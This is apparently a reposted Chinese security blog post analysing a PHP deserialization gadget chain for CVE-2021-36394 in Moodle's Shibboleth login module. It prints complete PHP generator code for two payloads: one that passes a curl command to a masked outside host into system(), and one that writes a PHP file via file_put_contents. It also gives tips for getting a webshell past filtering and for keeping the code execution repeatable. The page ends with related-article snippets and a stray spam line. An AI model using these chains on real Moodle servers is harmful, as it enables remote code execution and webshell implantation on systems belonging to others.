<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    CVE-2021-36394-Moodle Shibboleth PHP反序列化利用鏈構造之二

    VSole2021-10-23 21:22:05

    引言

    之前已經就CVE-2021-36394 Moodle Shibboleth認證模塊反序列化漏洞原理進行了詳細分析,并且給出了一條可實現修改管理員密碼的利用鏈:

    最近發現有小伙伴放出了RCE的利用鏈,瞅了下確實可行,還是自己功力不夠啊,這里分享下對這條利用鏈的分析過程。

    利用鏈構造

    和前面實現修改管理員密碼的利用鏈一樣,觸發點還是定在`core\lock\lock#`類,`__destruct`函數定義如下:


    存在字符串拼接,并且參數`$this->key`可控,現在就需要尋找`__toString`函數。


    注意到`core_availability\tree#__toString`:


    里面存在`foreach`遍歷,`$this->children`可控,搜索`current`函數。


    注意到`core\dml\recordset_walk#current`:


    存在`call_user_func`調用,是潛在的可用對象。參數`$this->callback`、`$this->callbackextra`都可控,重點分析下參數`$this->recordset->current()`,看下定義:

    可見`$this->recordset`應該繼承于`moodle_recordset`這樣一個抽象類,`moodle_recordset`繼承于接口`Iterator`,先找下`moodle_recordset`全部子類:


    從上面所以潛在的子類來分析,以位于`question/engine/tests/helpers.php`的`question_test_recordset`類進行測試,構造如下生成代碼:

    <?php
    namespace core\lock {
        class lock {
            public function __construct($class)
    {
                $this->key = $class;
            }
        }
    }
    namespace core_availability{
        class tree {
            public function __construct($class)
    {
                $this->children = $class;
            }
        }
    }
    namespace core\dml{
        class recordset_walk {
            public function __construct($class)
    {
                $this->recordset = $class;
                $this->callbackextra = "test";
                $this->callback = "system";
    
    
            }
        }
    }
    namespace {
        class question_test_recordset{
            public function __construct(){
                $this->records = array("curl http://***:1111/cccc");
            }
        }
        $recordset=new question_test_recordset();
        $walk = new core\dml\recordset_walk($recordset);
        $tree = new core_availability\tree($walk);
        $lock = new core\lock\lock($tree);
        echo serialize($lock);
    }
    


    發現Moodle并沒有加載這個類,反序列化操作中`$this->children`為`null`,無法觸發`current`函數。這個地方卡住很久,擴大到實現接口`Iterator`的類,最后定位`question/engine/questionusage.php`中的類`question_attempt_iterator`,同樣這個類默認Moodle也沒有加載,但是我們找到一個輔助類`core_question_external`:

    寫文件Gadget

    可以通過`question_attempt_iterator`類進行輔助,構造一個文件寫的Gadget代碼如下:

    <?php
    namespace core\lock {
        class lock {
            public function __construct($class)
    {
                $this->key = $class;
            }
        }
    }
    namespace core_availability{
        class tree {
            public function __construct($class)
    {
                $this->children = $class;
            }
        }
    }
    namespace core\dml{
        class recordset_walk {
            public function __construct($class)
    {
                $this->recordset = $class;
                $this->callbackextra = "aaaaaaaa";
                $this->callback = "file_put_contents";
    
    
            }
        }
    }
    namespace {
        class question_attempt_iterator{
            public function __construct($class)
    {
                $this->slots = array(
                    "xxx" => "key"
                );
                $this->quba = $class;
            }
        }
        class question_usage_by_activity{
            public function __construct()
    {
                $this->questionattempts = array(
                    "key" => "aaaa.php"
                );
            }
        }
        class core_question_external{}
        $add_lib = new core_question_external();
        $activity = new question_usage_by_activity();
        $iterator = new question_attempt_iterator($activity);
        $walk = new core\dml\recordset_walk($iterator);
        $tree = new core_availability\tree($walk);
        $lock = new core\lock\lock($tree);
        $arr = array($add_lib, $lock);
        echo serialize($arr);
    

    }

    效果:

    后記

    由于存在過濾,直接寫入php webshell是不行的,但是結合實際情況,稍微轉換下還是可行的。這里需要補充說明的是,由于在反序列化時,默認會將全部`sess_***`文件循環進行處理,所以在創建一個session文件后,應該主動調用`/login/logout.php`完成session注銷(刪除對應`sess_***`文件),否則RCE可能只有第一次有效。

    由于傳播、利用此文檔提供的信息而造成任何直接或間接的后果及損害,均由使用本人負責,且聽安全團隊及文章作者不為此承擔任何責任。

    namespacephp序列化
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    之前已經就CVE-2021-36394 Moodle Shibboleth認證模塊反序列化漏洞原理進行了詳細分析,并且給出了一條可實現修改管理員密碼的利用鏈: 最近發現有小伙伴放出了RCE的利用鏈,瞅了下確實可行,還是自己功力不夠啊,這里分享下對這條利用鏈的分析過程。
    正常來說一個合法的反序列化字符串,在二次序列化也即反序列化序列化之后所得到的結果是一致的。
    ?上整理的?試問題?全,有些 HW ?試的題,已經收集好了,提供給?家。
    0x00 前言CI框架作為PHP國外流行的框架,筆者有幸的挖掘到了它的反序列化POP鏈,其漏洞影響版本為4.*版本。
    前言目前官方已經不再維護ThinkPHP3.2.3,本文僅對ThinkPHP3.2.3反序列化鏈子進行復現,如有紕漏,還望指正。前面一共涉及到三個類,我們在Model.class.php中打印一個值,構造這三個類序列化字符串如下:。下方的sql語句可能存在注入這里直接對table進行拼接,上方有一個parseTable方法,跟進看一下,看看是否存在過濾。
    Laravel Framework 5.7.x版本中的Illuminate組件存在反序列化漏洞,遠程攻擊者可利用該漏洞執行代碼。
    本文來自“白帽子社區”知識星球作者:想看云飛卻沒風01環境搭建composer create-project topthink/think=6.0.x-dev thinkphp-v6.0. 在 ThinkPHP5.x 的POP鏈中,入口都是 think\process\pipes\Windows 類,通過該類觸發任意類的__toString 方法。
    2021藍帽杯決賽Web wp。
    搭建MySQL惡意服務器讀取文件這件事,雖然直接利用門檻較高,但是由于在網上看到了一種比較新穎的利用方式,個人覺得比較有意思,總結了一下攻擊原理以及攻擊方式,因此就有了這篇文章。原理在闡述具體原理之前,先介紹幾個SQL語句,以便后文理解首先在tmp目錄下新建一個tmp.txt內容如下:然后執行下方SQL語句,即可將tmp.txt文件導入其中mysql>?
    Thinkphp是一個國內輕量級的開發框架,采用php+apache,在更新迭代中,thinkphp也經常爆出各種漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前兩個版本已經停止更新
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类